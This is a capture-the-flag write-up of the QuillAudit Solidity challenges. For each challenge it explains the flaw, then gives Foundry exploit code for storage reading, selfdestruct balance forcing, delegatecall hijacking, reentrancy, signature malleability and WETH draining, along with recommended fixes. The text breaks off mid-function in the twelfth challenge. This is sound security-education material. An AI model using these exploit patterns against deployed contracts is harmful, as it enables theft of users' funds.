QuillAudit CTF challenges — Writeup
Author: viking71
1. Confidential Hash
Challenge Description:
This contract checks whether the keccak256 hash of aliceHash and bobHash is same to inputted hash. The given task is to find the keccak256 hash of aliceHash and bobHash, which is to get true from checkthehash
function. hash
function can calculate the keccak256 hash from two inputted bytes32
variables.
Vulnerability Description:
Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash) and 9(bobHash).
Attack steps:
1. Setup the contract and attacker
2. Load the hashes of alice and bob from the respective slots in storage using load
function.
3. Calculate the keccak256 hash of aliceHash and bobHash now using hash
function of the contract.
4. Verify the calculated hash using checkthehash
function of the contract which will return true
.
Proof of Concept:
I used Foundry to test the Exploit. In foundry load
function can get the variables from the deployed contract’s storage. Below is the test contract I used.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/ConfidentialHash.sol”;
// @author: viking71
// Vulnerability: Confidential contract is initialising the private keys and hashes as private varibles in contract itself which is the vulnerability here because these variables are placed in
// storage with slot numbers. Anyone can just count the slot in which the private key is located and call it. In this case the slots are 4(aliceHash)
// and 9(bobHash). In foundry load function can get the varibles from the deployed contract’s storage.
contract ConfidentialTest is Test {
Confidential public confidential;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
confidential = new Confidential(); // deploying the contract
}
function testExploit() public {
vm.startPrank(attacker);
// loading the “aliceHash” from the deployed contract’s storage from slot 4
bytes32 aliceHash = vm.load(address(confidential), bytes32(uint256(4)));
// loading the “bobHash” from the deployed contract’s storage from slot 9
bytes32 bobHash = vm.load(address(confidential), bytes32(uint256(9)));
// creating the keccak256 hash of aliceHash and bobHash
bytes32 hash_value = confidential.hash(aliceHash, bobHash);// verifying the hashes match
bool value = confidential.checkthehash(hash_value);
assert(value == true);
vm.stopPrank();
}
}
Recommendation:
Never store the private keys of any other sensitive content in contract because anyone access it from the storage.
Reference:
Hacking Secrets in Ethereum Smart Contracts
2. VIP Bank
Challenge Description:
The Objective of this challenge was at any cost, lock the VIP user balance forever into the contract. This contract is written in way a only VIPs can deposit and withdrawn amount. The actors are manager (privileged role who can add VIPs) and VIPs (who can deposit and withdrawn amount). Then there is another function which shows the balance of the contract which can be accessed by anyone.
Vulnerability Description:
The first require statement in withdraw
function is not checking the amount correctly. This is basically wrong implementation of logic. The statement should check for inputted amount should not exceed 0.5 ETH but instead it checks for contract balance not greater than 0.5 ETH. Due to this attacker can just create a contract, selfdestruct to send it’s balance to VIPBank contract, and increase it’s balance to fail that condition. Finally then no VIP can withdraw their balance because contract balance won’t be less then 0.5 ETH or equal.
Attack steps:
1. Attacker creates a new contract which will selfdestruct
while calling the destroy
function and send it’s balance to VIPBank
contract.
2. The attacker deploying the Attack
contract and sending ether to it.
3. Attacker calling the destroy
function.
3. Alice tries to withdraw and transaction fails.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/VIPBank.sol”;
// @author: viking71
contract Attack {
address public vipbank;
constructor(address vb) {
vipbank = vb;
}
receive() external payable{}
function destroy() public {
selfdestruct(payable(vipbank));
}
}
contract VIPBankTest is Test {
VIP_Bank public vipBank;
address public manager;
address public attacker;
address public alice;
function setUp() public {
manager = vm.addr(1); // manager
attacker = vm.addr(2); // attacker
alice = vm.addr(3); // alice (VIP)
vm.deal(alice, 1 ether);
vm.deal(attacker, 1 ether);
vm.startPrank(manager);
vipBank = new VIP_Bank(); // manager deploys the contract
vipBank.addVIP(alice); // manager makes alice as VIP
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(alice);
vipBank.deposit{value: 0.05 ether}(); // alice deposits 0.001 ETH into VIP Bank
vm.stopPrank();
vm.startPrank(attacker);
assertEq(0.05 ether, vipBank.contractBalance()); // current balance of contract is 0.05 ETH
Attack attack = new Attack(address(vipBank)); // deploying the Attack contract
payable(attack).transfer(1 ether); // transferring some ether to Attack contract
attack.destroy(); // destructing the contract to increase the VIPBank contract balance
vm.stopPrank();
assertEq(vipBank.contractBalance(), 1.05 ether); // contracts balance is more than 0.5 ETH
// alice tries to withdraw her 0.05 ether but transcation reverts back
vm.prank(alice);
vm.expectRevert();
vipBank.withdraw(0.05 ether);
}
}
Recommendation:
The first require statement should be changed like below in withdraw
function
require(_amount <= maxETH, “Cannot withdraw more than 0.5 ETH per transaction”)`
This will help VIP users of bank to withdraw the amount they deposited.
Reference:
3. Road Closed
Challenge Description:
This contract basically changes the owner of the contract, but only those who are whitelisted can be changed. To be whitelisted, one can call that addToWhitelist
function. Once someone becomes owner they can pwn the contract, but only EOA address can pwn because there is condition check for that.
Vulnerability Description:
Main vulnerability in contract is in addToWhitelist
function because there is no proper check who can be whitelisted. The function only checks whether the caller is not contract. Due to this attacker easily add himself/herself to whitelist and change the owner.
Attack steps:
1. As an attacker call the addToWhitelist
function and get added to whitelist to become owner. Make sure you call from a EOA.
2. Call the changeOwner
function to become the owner.
3. Call the pwn function to change the bool (hacked
) value to true.
4. Verify the owner
and hacked
variables whether is it changed.
Proof of Concept:
I used Foundry to test the Exploit. Below is the test contract I used.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.7;
import “@forge-std/Test.sol”;
import “../src/RoadClosed.sol”;
contract RoadClosedTest is Test {
RoadClosed public roadClosed;
address public deployer;
address public attacker;
function setUp() public {
deployer = vm.addr(1); // deployer
attacker = vm.addr(2); // attacker
vm.startPrank(deployer);
roadClosed = new RoadClosed();
vm.stopPrank();
}
function testExploit() public {
vm.startPrank(attacker);
roadClosed.addToWhitelist(attacker); // first adding ourself to the whitelist to become the owner
roadClosed.changeOwner(attacker); // change to owner as attacker
roadClosed.pwn(attacker); // then call the function pwn to set the hacked bool to true
bool hacked = roadClosed.isHacked(); //verifying hacked bool value is true
bool owner = roadClosed.isOwner(); // verifying the owner of contract is true
vm.stopPrank();
assert(owner == true); // required first objective, become the owner of the contract
assert(hacked == true); // required second objective, change the value of hacked to true
}
}
Recommendation:
Adding a require statement in addToWhitelist
to check whether the caller is current owner of the contract, so that he can add addresses to whitelist.
require(owner == msg.sender, “Not current owner!”);
4. D31eg4t3
Challenge Description:
The given contract has two functions hackMe
and hacked
. hackMe
does a delegatecall
with input bytes. hacked
sets the canYouHackMe
mapping variable to true for msg.sender
but requirement is to be false therefore logically not possible to set true to anyone.
Vulnerability Description:
delegatecall
in hackMe
function is vulnerable. Simply we can create a Attack
contract and change the owner
and canYouHackMe
variables.
Attack steps:
1. Create a new contract for exploiting the vulnerablitiy.
2. A function to execute the hackMe
function in given contract. Here we have to create the payload which is abi.encodeWithSignature(“pwn(address)”, attackerAddress)
. This tells delegatecall to execute the pwn function in Attack
(because target is msg.sender
) with attacker’s Address.
3. pwn function will change the owner
and canYouHackMe
variables. Through this storage variables in D31eg4t3
contract are changed without changing the storage variables Attack
contract.
4. Make sure the important thing, state variables should be in same order of D31eg4t3
contract.
5. Now as attacker execute the `attack` function with required parameters.
Proof of Concept:
I used Foundry to test the Exploit. Below is the test contract I used.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.17;
import “@forge-std/Test.sol”;
import “../src/D31eg4t3.sol”;
// @author: viking71
// Vulnerability: hackMe function of given contract is vulnerable with delegatecall.
// Simply we can create a `Attack` contract and change the `owner` and `canYouHackMe` variables.
contract Attack {
// declaring the state variables in same order as given contract
uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;
// this function will execute hackMe function, basically making a delegatecall to pwn function
function attack(address delegateAddress, address attackerAddress) public {
D31eg4t3 delegateContract = D31eg4t3(delegateAddress);
delegateContract.hackMe(abi.encodeWithSignature(“pwn(address)”, attackerAddress));
}
// changing the storage variables of given contract with attacker address and setting to true.
function pwn(address attackerAddress) public {
owner = attackerAddress;
canYouHackMe[attackerAddress] = true;
}
}
contract D31eg4t3Test is Test {
D31eg4t3 public delegate;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
delegate = new D31eg4t3(); // deploying the contract
}
function testExploit() public {
vm.startPrank(attacker);
Attack attack = new Attack();
attack.attack(address(delegate), attacker); // performing the attack
vm.stopPrank();
// checking the challenge requirements
assertEq(delegate.owner(), attacker); // owner of the given contract is changed to attacker
assert(delegate.canYouHackMe(attacker) == true); // canYouHackMe is true for attacker
}
}
Recommendation:
Have to careful while using the delegatecall. Check the variables visibility before deploying.
5. Safe NFT
Challenge Description:
The given contract is to buy NFTs. Two functions which are important. buy
function sets the canClaim
mapping variable to true by verifying the price
(set to 0.01 ether in constructor) sent by msg.sender
. claim function checks the canClaim variable and mints the nft to msg.sender.
Vulnerability Description:
Vulnerability is in while claiming the nfts, state change of canClaim
mapping variable is changed after minting the nft, which is Re-entrancy vulnerability. Contract uses _safeMint
to mint the nft which for safety, this function performs a callback to the recipient of the token to check that they're willing to accept the transfer. However, we're the recipient of the token, which means we just got a callback at which point we can do whatever we like, including calling claim()
again.
Attack steps:
1. Create a new contract for exploiting the vulnerability.
2. A function to buy a nft and claim the nft.
3. While executing the claim function, re-entrancy to onERC721Received callback in performed which is the executes the claim
again.
4. Then send the nfts minted to attacker which is two but paid for one.
Proof of Concept:
I used Foundry to test the Exploit. Below is the test contract I used.
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
import "@forge-std/Test.sol";
import "../src/safeNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
// @author: viking71
// Attack contract
// Vulnerability is in while claiming the nfts, state change of canClaim mapping varible is changed after minting the nft.
// Exploit, an attacker can take advantage of thiv vulnerability to re-enter into the claim function again.
// _safeMint function in OpenZeppelin's ERC721 contract performs a callback(onERC721Received) to the recipient of the token to check that they're willing to accept the transfer.
// However, attacker (the recipient) of the token, which means he just got a callback at which point he can do whatever he likes, including calling claim again
contract Attack is IERC721Receiver {
safeNFT public sna;
bool complete;
address internal owner;
constructor(address safenft) {
sna = safeNFT(safenft);
owner = msg.sender;
}
function attack() public payable{
sna.buyNFT{value: msg.value}();
sna.claim();
uint256 balance = sna.balanceOf(address(this)); // nft balance of this contract
for (uint256 i=0; i < balance; i++){
sna.transferFrom(address(this), owner, i); // transfering nfts to owner, in this case it is attacker
}
}
// callback function which is used to re-enter and perform claim function again
// using IERC721Receiver interface to override the onERC721Recevied function.
function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4){
if (!complete) {
complete = true;
sna.claim(); // claiming the
}
return this.onERC721Received.selector;
}
}
contract safeNFTTest is Test {
safeNFT public safenft;
address public attacker;
function setUp() public {
attacker = vm.addr(2); // attacker
vm.deal(attacker, 1 ether); // assigning the attacker 1 ether
safenft = new safeNFT("QuillNFT", "QUL", 0.01 ether); // deploying the safeNFT contract
}
function testExploit() public {
// checking how many nfts does the attacker initially which is 0
uint256 attackerBalance;
attackerBalance = safenft.balanceOf(attacker);
assertEq(attackerBalance, 0);
// attacker executes the attack from Attack contract
vm.startPrank(attacker);
Attack attack = new Attack(address(safenft)); // attacker deploying the Attack contract
attack.attack{value: 0.01 ether}(); // to note: only once 0.01 ether is sent to buy NFT
vm.stopPrank();
// checking the attacker nfts which is 2 because re-entrancy vulnerability in safeNFT, attacker got 2 nfts by sending once
attackerBalance = safenft.balanceOf(attacker);
assertEq(attackerBalance, 2);
}
}
Recommendation:
Always performing state changes before executing minting or calling is important so reentrancy can be avoided. Also inheriting the OpenZeppelin's nonReentrant modifier will secure this. Therefore the claim function can be changed like below.
function claim() external nonReentrant {
require(canClaim[msg.sender],"CANT_MINT");
canClaim[msg.sender] = false;
_safeMint(msg.sender, totalSupply());
}
6. True XOR
Challenge Description:
This contract has a interface and trueXOR contract. giveBool
function is defined in the contract where certain conditions are required so the function will return true. One of the condition is (p && q) != (p || q)
which basically equals to XOR logic because only when p and q are different the required condition is passed. Another condition is msg.sender
and tx.origin
should be same.
Solution Description:
This challenge can be solved through setting the p and q with different bool values like 1 and 0 or 0 and 1 respectively, because through this the callMe function returns true. But p and q are output of same function giveBool(). When a transaction is made only gas value changes. This means when callMe function is executed each instruction during the execution takes different as amount. By processing the gas value we can achieve our goal. Let’s say when first time giveBool function is called gas value is x and second time it is y. To get the bool value we can shift the gas() value while executing the giveBool function to left and then right with 255 bits.
Solving Steps:
Check out the reference part to understand the shl and shr commands
Create a contract to implement the giveBool function with the assembly like below to return the bool value
Input the attack contract address to the given contract.
Get the return value and check whether it is true.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
import "@forge-std/Test.sol";
import "../src/TrueXor.sol";
// This challenge can be solved through setting the p and q with different bool values like 1 and 0 or 0 and 1 respectively,
// because through this the callMe function returns true. But p and q are output of same function giveBool(). When a transaction is made
// only gas value changes. This means when callMe function is executed each instruction during the execution takes different as amount.
// By processing the gas value we can achieve our goal. Let's say when first time giveBool function is called gas value is x and second time it is y.
// to get the bool value we can shift the gas() value while executing the giveBool function to left and then right with 255 bits.
contract Attack {
function giveBool() external view returns (bool){
bool res;
assembly {
res := shr(255, shl(255, gas()))
}
return res;
}
}
contract TrueXORTest is Test {
TrueXOR public trueXOR;
address public attacker;
function setUp() public {
attacker = vm.addr(2); // attacker
trueXOR = new TrueXOR();
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack attack = new Attack();
bool ans = trueXOR.callMe(address(attack));
vm.stopPrank();
assert(ans == true);
}
}
Reference:
Try below mnemonic in https://www.evm.codes/playground
// try also this 0xFF00000000000000000000000000000000000000000000000000000000000111
PUSH32 0xFF00000000000000000000000000000000000000000000000000000000000110
PUSH1 255
SHL
PUSH1 255
SHR
7. Collatz Puzzle
Challenge Description:
This contract has an interface and CollatzPuzzle
contract inherits it. Two functions are there. One of which collatzIteration
, this performs the operation on input argument and returns the output based on even or odd. callMe
function checks few conditions like input addr code size is within 32 bytes, then loops the collatzIteration and checks whether the results are same between outputs from input address collatzIteration implementation.
Solution Description:
We can create a 32 bytes long runtime code as a contract to behave like collatzIteration function to return correct ans. I wrote EVM opcode to do this.
Solving Steps:
Create the runtime code (only within 32 bytes)
Write the creation code
Use a attack contract and deploy the runtime code
As an attacker deploy attack contract and then call
callMe
function.Finally verify the conditions
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@forge-std/Test.sol";
import "../src/Collatz.sol";
// We can create a 32 bytes long runtime code as a contract to behave like collatzIteration function to return correct ans
// I wrote EVM opcode to do this.
contract Attack {
function deploy() public returns (address){
// creation code bytecode in hex
bytes memory con = hex"7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3";
address addr;
assembly{
addr := create(0, add(con, 0x20), 0x29) // deploy the runtime code
}
return addr; // return the address
}
}
contract CollatzTest is Test {
CollatzPuzzle public collatz;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
collatz = new CollatzPuzzle(); // deploying the contract
}
function testExploit() public {
vm.startPrank(attacker);
Attack a = new Attack();
address input = a.deploy(); // deploying the bytecode contract
bool ans = collatz.callMe(input); // using address of input contract to break the challenge
vm.stopPrank();
assert(ans == true); // checking the return value of callMe function.
}
}
// runtime code - 6002600435818106156015576003026001016017565b045b60005260206000f3
// PUSH1 0x02 // push 2
// PUSH1 0x04 // the offset value (First four bytes of calldata is method id, so first argument starts from 5th byte and 32 bytes long from there)
// CALLDATALOAD // call the function argument value
// DUP2 // duplicating top values in stack for modulus operation
// DUP2
// MOD
// ISZERO // checking the result of modulus is 0
// PUSH1 0x15 // jumping destination
// JUMPI // if it is 0 then even and jump to destination
// PUSH1 0x03 // if not 0 continues as it is odd
// MUL // multiple with 3
// PUSH1 0x01 // push 1
// ADD // add the result with 1
// PUSH1 0x17 // jump destination
// JUMP // jump to return the result
// JUMPDEST // if even pointer will reach here
// DIV // division operation with 2
// JUMPDEST
// PUSH1 0x00
// MSTORE // store the result in memory
// PUSH1 0x20
// PUSH1 0x00
// RETURN // returnt the 32 bytes result from memory
// creation code - 7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3
// PUSH32 0x6002600435818106156015576003026001016017565b045b60005260206000f3
// PUSH1 0x00
// MSTORE // storing runtime code in memory
// PUSH1 0x20
// PUSH1 0x00
// RETURN // returning the 32 bytes of runtime code to deploy
Reference:
I used https://www.evm.codes/playground to design and test the runtime code. Also, https://solidity-by-example.org/app/simple-bytecode-contract/ .
8. Pelusa
Challenge Description:
Pelusa
contract has three different functions. shoot
(makes delegatecall to function which is present in target), isGoal
(returns a bool by by checking the owner and address returned by player contract's getBallPossesion is same) and passTheBall
(changes the player address after checking certain conditions).
Vulnerability Description:
To solve this challenge we have to satisfy certain conditions given. To satisfy the passTheBall
function we can the call the function in the attack contract's constructor and create an address with create2
function to satisfy the second condition. Defining the getBallPossesion
function to pass the isGoal
function, before this the owner should be assigned. We know that owner
can be calculated by msg.sender who deployed the contract and block number can also be retrieved easily. shoot
function will check the isGoal
function and make the delegatecall
to the handOfGod function which defined in attack contract to set the goals
to 2 and return required uint variable as data.
Attack Steps:
Build the Attack contract to satisfy the given condition.
Create a deployer contract to pre compute the attack contract address according to the condition.
Deploy the deployer contract to find the exact salt and then use that address to initialize the Attack contract
pwn the challenge and check whether the goals are 2 finally.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
import "@forge-std/Test.sol";
import "../src/Pelusa.sol";
// @author: viking71
// To solve this challenge we have to satify certain conditions given.
// To satisfy the passTheBall function we can the call the function in the attack contract's constructor and create an address with create2 function
// to satisfy the second condition. Defining the getBallPossesion function to pass the isGoal function, before this the owner should be assgined.
// We know that owner can be calculated by msg.sender who deployed the contract and block number can also be retrived easily. shoot() function will check the isGoal
// function and make the delegatecall to the handOfGod function which defined in attack contract to set the goals to 2 and return required uint variable as data.
// contract to compute a address we want to a contract. Create2 is solidity feature which uses a random salt hex set by the user.
// With the salt hex, a specific contract address can then be derived with the wallet address and bytecode.
contract DeployerContract {
Attack public attackContract;
constructor(address _target) {
bytes32 salt = calculateSalt(_target); // calculate the salt
attackContract = new Attack{ salt: bytes32(salt) }(_target); // pass the salt to deploy the attack contract
}
function calculateSalt(address target) private view returns (bytes32) {
uint256 salt = 0;
bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
while (true) {
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
// checking generated hash gives 10 as reminder while dividing by 100
if (uint160(uint256(hash)) % 100 == 10) {
break; // if true then break the loop
}
salt += 1;
}
return bytes32(salt); // return the salt which satisfied the condition we needed
}
}
// Attack contract to change the goals to 2
contract Attack is IGame {
address private owner; // owner of the contract
uint256 public goals; // number of goals
Pelusa public pelusaContract;
constructor(address _pAddress) {
pelusaContract = Pelusa(_pAddress);
pelusaContract.passTheBall(); // calling the passTheBall function because size of address code during contract creation is 0
}
function handOfGod() external returns (uint256) {
goals = 2; // setting the goals to 2 which is the goal of this challenge
return 22_06_1986; // returning the required uint variable. Underscores are neglected.
}
// function to return the owner calulated in pwn function
function getBallPossesion() external view returns (address) {
return owner;
}
function pwn(address _deployer) external {
// owner is dervied from the deployer and block number
owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0)))))));
pelusaContract.shoot();
}
}
contract PelusaTest is Test {
Pelusa public pelusa;
address public attacker;
address public deployer;
address public futureAddress;
function setUp() public {
attacker = vm.addr(2); // attacker
deployer = vm.addr(1); //deployer
vm.prank(deployer);
pelusa = new Pelusa(); // declare the Pelusa contract
}
function testExploit() public {
vm.startPrank(attacker, attacker);
DeployerContract dc = new DeployerContract(address(pelusa)); // create an address to satisfy the condition
Attack attack = Attack(dc.attackContract()); // using the address created to initialise the Attack contract
attack.pwn(deployer); // calling the pwn() function
vm.stopPrank();
assert(pelusa.goals() == 2); // verifying whether the goals = 2
}
}
Reference:
9. WETH10
Challenge Description:
Given contract has facility to get the flashloan and all functions are re-entrancy protected. User’s can deposit their ether and mint tokens. Also withdraw their ether through giving back the tokens which is burnt.
Solution Description:
Vulnerability is not there in execute
function, it is there in withdrawAll
functions. Since the withdraw functions can send the value requested, we can simply keep receive() function to change the balanceOf(msg.sender) = 0
by sending the tokens to owner because no tokens can be burnt. Through this the balanceOf(owner) is 1 and ether balance of attack contract is 1 ether. By repeating this process 10 times will create 10 tokens and finally through these tokens the bob can withdraw the ether from the WETH10 contract. So the balance will become 0 ether for WETH10 contract and 11 ether for bob.
Solving Steps:
Through the bob’s one ether get one token.
Now repeat the attack process for 10 times to get 10 tokens
Withdraw 10 ether from the given contract by burning 10 tokens
Finally verify the conditions required for the challenge
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@forge-std/Test.sol";
import "../src/WETH10.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
// @author: viking71
/// vulnerability is not there in flashloan function, it is there in withdraw functions. Since the withdraw functions can send the value requested, we can
/// simply keep receive() function to change the balanceOf(msg.sender) = 0 by sending the tokens to owner because no tokens can be burnt. Through this the balanceOf(owner) is 1 and ether
/// balance of attack contract is 1 ether. By repeating this process 10 times will create 10 tokens and finally through these tokens the bob can withdraw the
/// ether from the WETH10 contract. So the balance will become 0 ether for WETH10 contract and 11 ether for bob.
contract Attack {
WETH10 public wethContract;
address public owner;
constructor(address payable wethAddress) {
wethContract = WETH10(wethAddress);
owner = msg.sender; // settting the owner
}
// function to call the withdrawAll function is WETH10 contract
function callWithdrawal() public {
wethContract.withdrawAll();
}
// while withdrawAll function is executing send 1 token to owner itself
// so balanceOf(this) = 0
receive() external payable {
wethContract.approve(address(this), wethContract.balanceOf(address(this)));
wethContract.transferFrom(address(this), owner, wethContract.balanceOf(address(this)));
}
// send the ether to owner(bob)
function getEtherBack() public {
owner.call{value: address(this).balance}("");
}
}
contract Weth10Test is Test {
WETH10 public weth;
address owner;
address bob;
// initial setup given
function setUp() public {
weth = new WETH10();
bob = address(1);
vm.deal(address(weth), 10 ether);
vm.deal(address(bob), 1 ether);
}
function testHack() public {
assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");
vm.startPrank(bob);
// deploy the attack contract
Attack attack = new Attack(payable(weth));
// approve bob to spend required ether
weth.approve(address(bob), 11 ether);
// repeat the attack process 10 times to get required balance of tokens
for (uint i = 0; i<10; i++) {
weth.deposit{value: 1 ether}();
weth.transferFrom(bob, address(attack), 1 ether);
attack.callWithdrawal();
attack.getEtherBack();
}
weth.withdrawAll();
vm.stopPrank();
// check the goal is satisfied
assertEq(address(weth).balance, 0, "empty weth contract");
assertEq(bob.balance, 11 ether, "player should end with 11 ether");
}
}
10. Panda Token
Challenge Description:
Given contract is a ERC20 token called Panda token. owner
generates signatures to users to mint tokens. But only 1 token can be minted per user according to the token. Also in the getTokens
function signatures are tracked and can't used again through a mapping. Goal of the challenge is that hacker has to mint 3 tokens for himself.
Vulnerability Description:
Vulnerability here is signature malleability because of erecover
function doesn't check the malleable signatures. We can create three different signatures adn mint 3 tokens one by one. erecover
returns the address who signed the message hash.
Attack Steps:
Create three signatures one by one and mint respectively.
Finally check the balance of the hacker to verify.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "forge-std/Test.sol";
import "../src/PandaToken.sol";
/// @author viking71
// Vulnerability here is signature malleability because of `erecover` function doesn't check the malleable signatures.
// We can create three different signatures adn mint 3 tokens one by one. `erecover` returns the address who signed the message hash.
contract PandaTokenTest is Test {
PandaToken pandatoken;
address owner = vm.addr(1);
address hacker = vm.addr(2);
function setUp() external {
vm.prank(owner);
pandatoken = new PandaToken(400, "PandaToken", "PND"); // owner deploying the Panda token
}
function testExploit() public {
vm.startPrank(hacker);
bytes32 hash = keccak256(abi.encode(hacker, 1 ether));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash);
// first signature is produced by signing a keccak256 hash with the following format:
// "\x19Ethereum Signed Message\n" + len(msg) + msg
bytes memory signature1 = abi.encodePacked(keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)));
pandatoken.getTokens(1 ether, signature1); // minting the first token
// second signature is produced by concatenating the r and s values and then append the v value to the end.
bytes memory signature2 = new bytes(65);
assembly {
mstore(add(signature2, 32), r)
mstore(add(signature2, 64), s)
mstore8(add(signature2, 96), v)
}
pandatoken.getTokens(1 ether, signature2); // minting the second token
// third signature is produced by changing the v and s values to generate the malleable signature.
// New s-value with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28.
// Then concatenate the r and s values and then append the v value to the end.
uint8 v1 = 28;
uint256 s1 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - uint256(s);
bytes memory signature3 = new bytes(65);
assembly {
mstore(add(signature3, 32), r)
mstore(add(signature3, 64), s1)
mstore8(add(signature3, 96), v1)
}
pandatoken.getTokens(1 ether, signature3); // minting the third token
vm.stopPrank();
assertEq(pandatoken.balanceOf(hacker), 3 ether); // verifying whether the hacker has 3 Panda tokens
}
}
Reference:
11. Gate
Challenge Description:
Given Gate
contract and IGuardian
interface. Two functions are there in the interface f00000000_bvvvdlt
(method id 0x00000000
) and f00000001_grffjzz
(method id 0x00000001
). There is open
function in the Gate contract which checks certain conditions before setting the opened
flag to true
. Address which inherits the interface and defines the functions should have code size less 33 bytes. One function should return address(this)
and another should return tx.origin
. Finally calling fail()
function should revert.
Vulnerability Description:
We can create a 31 bytes long runtime code as a contract to behave like given functions in the IGuardian
interface to return correct address and revert. I wrote EVM opcode to do this.
Attack Steps:
Create the runtime code (only within 33 bytes)
Write the creation code
Use a attack contract and deploy the runtime code
As an attacker deploy attack contract and then call
open
function with the contract address which we created.Finally verify the conditions
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import "@forge-std/Test.sol";
import "../src/Gate.sol";
/// @author viking71
// We can create a 31 bytes long runtime code as a contract to behave like given functions to return correct addresses and revert
// I wrote EVM opcode to do this.
contract Attack {
function deploy() public returns (address){
// creation code bytecode in hex
bytes memory con = hex"7e60206001803560e81c8015601257326014565b335b82528110601d57f35bfd600052601f6001f3";
address addr;
assembly{
addr := create(0, add(con, 0x20), 0x28) // deploy the runtime code
}
return addr; // return the address
}
}
contract GateTest is Test {
Gate public gate;
address public attacker;
function setUp() public {
attacker = vm.addr(1); // attacker
gate = new Gate(); // deploying the contract
}
function testExploit() public {
vm.startPrank(attacker, attacker);
Attack a = new Attack();
address input = a.deploy(); // deploying the bytecode contract
gate.open(input); // calling the open function
vm.stopPrank();
assert(gate.opened() == true); // checking the return value of callMe function.
}
}
// runtime code (0x60206001803560e81c8015601257326014565b335b82528110601d57f35bfd)
// mnemonic:
// PUSH1 0x20 // push 32 for later purpose
// PUSH1 0x01 // push 1 for accessing
// DUP1 // duplicating 1
// CALLDATALOAD // calling the call data
// PUSH1 0xe8 // taking onlya part of the method id through shifting
// SHR
// DUP1 // duplicating it for later comparison
// ISZERO // checking whether it is f00000000_bvvvdlt function (method id is 0x00000000)
// PUSH1 0x12 // jumping if true
// JUMPI
// ORIGIN // if not true it is f00000001_grffjzz function (method id 0x00000001)
// PUSH1 0x14 // jumping to return the tx.origin
// JUMP
// JUMPDEST
// CALLER // address(this) for the 00000000 method id function
// JUMPDEST
// DUP3
// MSTORE // storing the address in memory
// DUP2 // comparing the method id with 1 whether it is fail function (method id 0xa9cc4718)
// LT
// PUSH1 0x1d // if it is true it will jump to revert
// JUMPI
// RETURN // if not then address stored in memory is returned
// JUMPDEST
// REVERT // reverting
// creation code (0x7e60206001803560e81c8015601257326014565b335b82528110601d57f35bfd600052601f6001f3)
// mnemonic:
// PUSH31 0x60206001803560e81c8015601257326014565b335b82528110601d57f35bfd
// PUSH1 0x00
// MSTORE // storing runtime code in memory
// PUSH1 0x1f
// PUSH1 0x01
// RETURN // returning the 31 bytes of runtime code to deploy
Reference:
I used https://www.evm.codes/playground to design and test the runtime code. https://www.4byte.directory/signatures?bytes4_signature=0xa9cc4718
12. WETH11
Challenge Description:
Given contract is similar to WETH10 contract but they fixed the withdraw functions by burning the tokens before sending the ether to caller.
Vulnerability Description:
Vulnerability was there execute function of the contract which can call any function by setting the receiver, amount to 0 and data to transfer(). Through this we can basically send the tokens from the WETH11 contract to attack contract. Then use these tokens to withdraw the ether. Finally send the ether to Bob and finish the goal.
Attack Steps:
Create a contract to attack the vulnerability
Write a function to transfer the tokens through
functionCallWithValue
function present inexecute
function.Withdraw all Ether by burning the tokens.
Send the ether to Bob to complete it.
Verify whether the challenge goal is achieved.
Proof of Concept:
I used Foundry to test the Exploit.
// SPDX-License-Identifier: Manija
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "@openzeppelin/contracts/interfaces/IERC20.sol";
import "../src/WETH11.sol";
// @author viking71
// vulnerability was there execute function of the contract which can call any function by setting the receiver, amount to 0 and data to transfer().
// Through this we can basically send the tokens from the WETH11 contract to attack contract. Then use these tokens to withdraw the ether.
// Finally send the ether to Bob and finish the goal.
contract Attack {
WETH11 public weth11;
address public bobEOA;
constructor(address weth11Address, address bobAddress) {
weth11 = WETH11(payable(weth11Address));
bobEOA = bobAddress;
}
// to exploit the contract
function getFlashLoan() public {
